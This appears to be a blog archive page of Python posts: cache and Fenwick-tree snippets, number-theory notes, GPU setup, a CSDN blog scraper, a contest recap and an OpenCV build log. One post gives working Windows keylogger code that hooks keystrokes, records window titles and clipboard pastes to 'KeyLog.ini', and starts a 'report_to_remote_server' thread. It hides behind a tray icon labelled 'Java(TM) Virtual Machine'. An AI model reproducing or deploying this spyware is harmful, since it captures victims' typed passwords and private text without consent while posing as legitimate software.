Python Interview Refinement in Mid-2023

LRU Cache

1
2
3
4
5
6
class Node:
def __init__(self, key, value):
self.prev = None
self.next = None
self.key = key
self.val = value
Read more

Non Built-in Data Structures And Algorithms in Python3

Unordered MultiSet

1
2
3
4
5
6
7
8
9
10
11
12
13
class MultiSet:
def __init__(self):
self.data = dict()

def add(self, val):
self.data[val] = 1 + (self.data[val] if val in self.data else 0)

def remove(self, val):
if not val in self.data:
return
self.data[val] -= 1
if self.data[val] == 0:
del self.data[val]

Fenwick Tree / Binary-indexed Tree

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class BIT:
def __init__(self, size):
self.size = size
self.data = [0] * size

def add(self, pos, val):
while pos < self.size:
self.data[pos] += val
pos += pos & (-pos)

def query(self, pos):
res = 0
while pos > 0:
res += self.data[pos]
pos &= pos - 1
return res
Read more

Universal Code Competition Template in Python3 (editing) [2022]

Number Theory

Quick power and modulo

To calculate $ n^m % mod $:

Division and modulo

DO NOT dividing an integer by another integer with respect to the modulus $mod$.
To calculate $ n/m%mod $ correctly ($ mod$ is a prime number thus $ φ(mod)=mod-1 $).
Use Eular function or modular multiplicative inversion.

Euler function $ φ(n) $

Quick greatest common divisor

1
2
3
4
5
6
7
8
9
10
11
12
13
def kgcd(a, b):
if a == 0:
return b
if b == 0:
return a
if (a & 1) == 0 and (b & 1) == 0:
return kgcd(a >> 1, b >> 1) << 1
elif (b & 1) == 0:
return kgcd(a, b >> 1)
elif (a & 1) == 0:
return kgcd(a >> 1, b)
else:
return kgcd(abs(a - b), min(a, b))
Read more

Prepare for deep learning based on GPU with Python

  • OS: Ubuntu 16.04

  • Building prerequisities: make build-essential python3-dev

  • Parallel computing prerequisities: cuda8.0 cudnn6.0

export CUDA_HOME=/usr/local/cuda
export PATH=$PATH:/usr/include:/usr/local/cuda/include
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/lib:/usr/lib/x86_64-linux-gpu/:usr/local/cuda/lib64

  • Python 3.5 packages: chainer tensorflow-gpu cupy

nvidia-cuda-dev is only required when building cupy locally.

If python package installation fails, try with sudo pip install --force-reinstall --ignore-installed --no-cache-dir -vvvv to debug.

从python2切换到python3的少许体会

  • print不再是个基本语句而是个函数了,从而可以通过end=”,”属性扩充功能。
    不必写from future import ...了。

  • /成了实数除法运算符,//才能整数除法。
    这是最隐性的坑。

  • input()在同一行接收多个空格分隔的数据就跪了。

py2exe 打包失败

安装了py2exe x64,发现有功能缺陷,不支持打包生成单个Windows可执行文件。
也未能注册windows服务。

py编写键盘记录器初步

  • 调用win32 API记录键盘事件、窗口事件
#
def get_current_process():

    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    # 将进程ID存入变量中
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

    # 打印
    # print
    # print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    # print
    Thread(target=report_to_remote_server).start()
    output_file('','KeyLog.ini',"\n[ PID:%s-%s-%s] %s\n" % (process_id,executable.value,windows_title.value,time.strftime("%Y/%m/%d %H:%M:%S")));

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):

    global current_window

    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()

    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        # print chr(event.Ascii),
        output_file('','KeyLog.ini',chr(event.Ascii))
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            # print "[PASTE]-%s" % (pasted_value),
            output_file('','KeyLog.ini',"[PASTE]-%s" % (pasted_value))
        else:
            # print "[%s]" % event.Key,
            output_file('','KeyLog.ini',"[%s]" % event.Key)
    # 循环监听下一个击键事件
    return True

def RegisterKeyListener():
    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke

    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()

但是对于QQEdit.exe,记录值会受到干扰。

  • 日志记录
def output_file(dir,name,content):
    fileName = ''
    if len(dir)>0:
        fileName = fileName+dir + "/"
    fileName = fileName + name#.encode('utf-8','ignore')
    f = open(fileName,"a")
    f.write(content)
    # print "Output file",fileName
  • Tk GUI

支持异步多线程操作的UI库

class Tk_App:
    def __init__(self,master):
        #构造函数里传入一个父组件(master),创建一个Frame组件并显示
        frame = Frame(master)
        frame.pack()
        #创建两个button,并作为frame的一部分
        self.button = Button(frame, text="QUIT", fg="red", command=sys.exit)# frame.quit
        self.button.pack(side=LEFT) #此处side为LEFT表示将其放置 到frame剩余空间的最左方
        self.hi_there = Button(frame, text="Hello", command=self.say_hi)
        self.hi_there.pack(side=LEFT)
        # Thread(target=RegisterKeyListener).start()
        # sys.stdout.flush()

    def say_hi(self):
        print "hi there, this is a class example!"

TRAY_TOOLTIP = 'Java(TM) Virtual Machine'
TRAY_ICON = 'icon.png'


def create_menu_item(menu, label, func):
    item = wx.MenuItem(menu, -1, label)
    menu.Bind(wx.EVT_MENU, func, id=item.GetId())
    menu.AppendItem(item)
    return item


class TaskBarIcon(wx.TaskBarIcon):
    def __init__(self,frame):
        self.frame=frame
        super(TaskBarIcon, self).__init__()
        self.set_icon(TRAY_ICON)
        self.Bind(wx.EVT_TASKBAR_LEFT_DOWN, self.on_left_down)
        mainth.start();

    def CreatePopupMenu(self):
        menu = wx.Menu()
        # create_menu_item(menu, 'Say Hello', self.on_hello)
        create_menu_item(menu,'Control Panel',self.on_control);
        menu.AppendSeparator()
        create_menu_item(menu, 'Exit', self.on_exit)
        # create_menu_item(menu, 'Exit', sys.exit)
        return menu

    def set_icon(self, path):
        icon = wx.IconFromBitmap(wx.Bitmap(path))
        self.SetIcon(icon, TRAY_TOOLTIP)

    def on_left_down(self, event):
        print 'Tray icon was left-clicked.'

    def on_hello(self, event):
        print 'Hello, world!'


    def on_control(self,event):
        # print r'"%JAVA_HOME%\jre\bin\javacpl.exe"'
        # os.system(r'cd /d %JAVA_HOME%');
        os.system(r'""%JAVA_HOME%\jre\bin\javacpl.exe""');
        # print os.path.realpath(sys.argv[0])
        # print os.path.dirname(sys.argv[0])
        # print os.path.basename(sys.argv[0])

    def on_exit(self, event):
        wx.CallAfter(self.Destroy)
        self.frame.Close()
        mainth._Thread__stop()
        # sys.exit()

class App(wx.App):
    def OnInit(self):
        frame=wx.Frame(None)
        self.SetTopWindow(frame)
        TaskBarIcon(frame)
        return True

py编写blog爬虫初步

教程指导

urllib2.HTTPError: HTTP Error 403: Forbidden

需添加header以伪装成浏览器访问。

UnicodeEncodeError: ‘gbk’ codec can’t encode character u’\u200e’ in position 43: illegal multibyte sequence

应在编码转换时略去无关紧要的不可见字符。参见

import urllib
import urllib2
import re
import os

def mkdir(path):
    path = path.strip()

    isExists=os.path.exists(path)

    if not isExists:
        os.makedirs(path)
        return True
    else:
        return False

def output_file(dir,name,content,charset):
    fileName = dir + "/" + name#.encode('utf-8','ignore')
    f = open(fileName,"w+")
    f.write(content.encode(charset,'ignore'))
    print "Output file",fileName

def scan_article(host,link,dir,charset):
    url=host+link

    request = urllib2.Request(url)
    # disguising web browser headers
    request.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36')

    response=urllib2.urlopen(request)

    html= response.read().decode('utf-8','ignore')

    # print html

    pattern=re.compile(r'\s*([\s\S]*?)\s*')

    matches=re.findall(pattern,html)

    if matches:
        title=matches[0]
        # filename=re.sub("\s+","_",title)
        filename=re.sub(r'[\s\\\\\\/:\\*\\?"<>\\|]+',"_",title)
        #print title,"[",filename,"]"
    else:
        print "No title matches"
        return

    pattern=re.compile(r'
\s*([\s\S]*?)\s*
\s*
') matches=re.findall(pattern,html) if matches: html=matches[0] # print html else: print "No contents" return # print "Output file",filename+'.html' try: output_file(dir,filename+'.html',html,charset); except Exception as e: print str(e) return def scan_page(id,host,url,dir,charset): request = urllib2.Request(host+url+str(id)) # disguising web browser headers request.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36') response=urllib2.urlopen(request) html= response.read().decode('utf-8','ignore') # print html; pattern=re.compile(r'([\s\S]*?)',re.I|re.M) items=re.findall(pattern,html) if items: # print items for item in items: next=re.match(re.compile(r'\s*([\s\S]+\S)\s*'),item) if next: href=next.group(1) title=next.group(2) scan_article(host,href,dir,charset) # print href,"->",title,"[",filename,"]" else: print "Invalid item" return else: print "No title matches" return dir='data/csdn_utf-8'; host="http://blog.csdn.net" url="/u013491262/article/list/" charset='utf-8' mkdir(dir) # scan_article(host,"/u013491262/article/details/20783371",dir,'utf-8') for i in range(28,31): print "page ",str(i),":" dir='data/csdn_utf-8'+"/"+str(i).zfill(2) mkdir(dir) scan_page(i,host,url,dir,charset)

程序设计校赛办完了……

努力赶完了各种超乎预料的活。

命题

写标程吃力;惊讶于自己写标程时的乏力,低级算法竟事倍功半。
编数据时用py写了生成器(可据此认为是真正地学到了一些Python)
但是,小数转分数的输出数据的错误,直到比赛进行中才发现。

判题系统

比起之前在云服务器上的糟糕透顶的测试情况,是令人欣慰的。
但是在不同机器上运行同一份代码,竟会有不同的结果;还有错综复杂的Compilation Error。
自动更新榜单的功能是良好的,但不接受中文(无论UTF-8还是ANSI/GB2312编码)的Display Name的特性是恶劣的。
注意性能瓶颈,服务器尽量少承担任务。

网页开发

事到临头方才探索动态页面开发、后端数据处理,是折磨的。
榜单页面的样式并没有时间完成,不直观,不堪入目。
打印页面(此处有预览)终于还是稳定运行了,尽管交互性能极其有限。

Configure OpenCV with Python for Mac

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
-- General configuration for OpenCV 3.0.0 =====================================
-- Version control: unknown
--
-- Platform:
-- Host: Darwin 15.0.0 x86_64
-- CMake: 3.3.2
-- CMake generator: Unix Makefiles
-- CMake build tool: /usr/bin/make
-- Configuration: RELEASE
--
-- C/C++:
-- Built as dynamic libs?: YES
-- C++ Compiler: /Library/Developer/CommandLineTools/usr/bin/c++ (ver 7.0.0.7000176)
-- C++ flags (Release): -fsigned-char -W -Werror=return-type -Werror=non-virtual-dtor -Werror=address -Werror=sequence-point -Wformat -Werror=format-security -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wundef -Winit-self -Wpointer-arith -Wshadow -Wsign-promo -Wno-narrowing -Wno-delete-non-virtual-dtor -Wno-unnamed-type-template-args -fdiagnostics-show-option -Wno-long-long -Qunused-arguments -Wno-semicolon-before-method-body -fno-omit-frame-pointer -msse -msse2 -mno-avx -msse3 -mno-ssse3 -mno-sse4.1 -mno-sse4.2 -fvisibility=hidden -fvisibility-inlines-hidden -O3 -DNDEBUG -DNDEBUG
-- C++ flags (Debug): -fsigned-char -W -Werror=return-type -Werror=non-virtual-dtor -Werror=address -Werror=sequence-point -Wformat -Werror=format-security -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wundef -Winit-self -Wpointer-arith -Wshadow -Wsign-promo -Wno-narrowing -Wno-delete-non-virtual-dtor -Wno-unnamed-type-template-args -fdiagnostics-show-option -Wno-long-long -Qunused-arguments -Wno-semicolon-before-method-body -fno-omit-frame-pointer -msse -msse2 -mno-avx -msse3 -mno-ssse3 -mno-sse4.1 -mno-sse4.2 -fvisibility=hidden -fvisibility-inlines-hidden -g -O0 -DDEBUG -D_DEBUG
-- C Compiler: /Library/Developer/CommandLineTools/usr/bin/cc
-- C flags (Release): -fsigned-char -W -Werror=return-type -Werror=non-virtual-dtor -Werror=address -Werror=sequence-point -Wformat -Werror=format-security -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wundef -Winit-self -Wpointer-arith -Wshadow -Wsign-promo -Wno-narrowing -Wno-delete-non-virtual-dtor -Wno-unnamed-type-template-args -fdiagnostics-show-option -Wno-long-long -Qunused-arguments -Wno-semicolon-before-method-body -fno-omit-frame-pointer -msse -msse2 -mno-avx -msse3 -mno-ssse3 -mno-sse4.1 -mno-sse4.2 -fvisibility=hidden -fvisibility-inlines-hidden -O3 -DNDEBUG -DNDEBUG
-- C flags (Debug): -fsigned-char -W -Werror=return-type -Werror=non-virtual-dtor -Werror=address -Werror=sequence-point -Wformat -Werror=format-security -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wundef -Winit-self -Wpointer-arith -Wshadow -Wsign-promo -Wno-narrowing -Wno-delete-non-virtual-dtor -Wno-unnamed-type-template-args -fdiagnostics-show-option -Wno-long-long -Qunused-arguments -Wno-semicolon-before-method-body -fno-omit-frame-pointer -msse -msse2 -mno-avx -msse3 -mno-ssse3 -mno-sse4.1 -mno-sse4.2 -fvisibility=hidden -fvisibility-inlines-hidden -g -O0 -DDEBUG -D_DEBUG
-- Linker flags (Release):
-- Linker flags (Debug):
-- Precompiled headers: NO
-- Extra dependencies: -framework OpenCL -framework Cocoa -framework QTKit -framework QuartzCore -framework AppKit
-- 3rdparty dependencies: libjpeg libwebp libpng libtiff libjasper IlmImf zlib ippicv
--
-- OpenCV modules:
-- To be built: hal core flann imgproc ml photo video imgcodecs shape videoio highgui objdetect superres ts features2d calib3d stitching videostab python2
-- Disabled: world
-- Disabled by dependency: -
-- Unavailable: cudaarithm cudabgsegm cudacodec cudafeatures2d cudafilters cudaimgproc cudalegacy cudaobjdetect cudaoptflow cudastereo cudawarping cudev java python3 viz
--
-- GUI:
-- QT: NO
-- Cocoa: YES
-- OpenGL support: NO
-- VTK support: NO
--
-- Media I/O:
-- ZLib: build (ver 1.2.8)
-- JPEG: build (ver 90)
-- WEBP: build (ver 0.3.1)
-- PNG: build (ver 1.5.12)
-- TIFF: build (ver 42 - 4.0.2)
-- JPEG 2000: build (ver 1.900.1)
-- OpenEXR: build (ver 1.7.1)
-- GDAL: NO
--
-- Video I/O:
-- DC1394 1.x: NO
-- DC1394 2.x: NO
-- FFMPEG: NO
-- codec: NO
-- format: NO
-- util: NO
-- swscale: NO
-- resample: NO
-- gentoo-style: NO
-- GStreamer: NO
-- OpenNI: NO
-- OpenNI PrimeSensor Modules: NO
-- OpenNI2: NO
-- PvAPI: NO
-- GigEVisionSDK: NO
-- QuickTime: NO
-- QTKit: YES
-- V4L/V4L2: NO/NO
-- XIMEA: NO
-- gPhoto2: NO
--
-- Other third-party libraries:
-- Use IPP: 8.2.1 [8.2.1]
-- at: /Users/semprathlon/opencv-3.0.0/3rdparty/ippicv/unpack/ippicv_osx
-- Use IPP Async: NO
-- Use Eigen: NO
-- Use TBB: NO
-- Use OpenMP: NO
-- Use GCD YES
-- Use Concurrency NO
-- Use C=: NO
-- Use pthreads for parallel for:
-- NO
-- Use Cuda: NO
-- Use OpenCL: YES
--
-- OpenCL:
-- Version: static
-- libraries: -framework OpenCL
-- Use AMDFFT: NO
-- Use AMDBLAS: NO
--
-- Python 2:
-- Interpreter: /usr/bin/python2.7 (ver 2.7.10)
-- Libraries: /usr/lib/libpython2.7.dylib (ver 2.7.10)
-- numpy: /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/numpy/core/include (ver 1.8.0rc1)
-- packages path: lib/python2.7/site-packages
--
-- Python 3:
-- Interpreter: NO
--
-- Python (for build): /usr/bin/python2.7
--
-- Java:
-- ant: NO
-- JNI: /System/Library/Frameworks/JavaVM.framework/Headers /System/Library/Frameworks/JavaVM.framework/Headers /System/Library/Frameworks/JavaVM.framework/Headers
-- Java wrappers: NO
-- Java tests: NO
--
-- Matlab:
-- mex: NO
--
-- Documentation:
-- Doxygen: NO
-- PlantUML: NO
--
-- Tests and samples:
-- Tests: YES
-- Performance tests: YES
-- C/C++ Examples: YES
--
-- Install path: /usr/local
--
-- cvconfig.h is in: /Users/semprathlon/opencv-3.0.0/release
-- -----------------------------------------------------------------
--
-- Configuring done
-- Generating done
CMake Warning:
Manually-specified variables were not used by the project:

BUILD_PYTHON_SUPPORT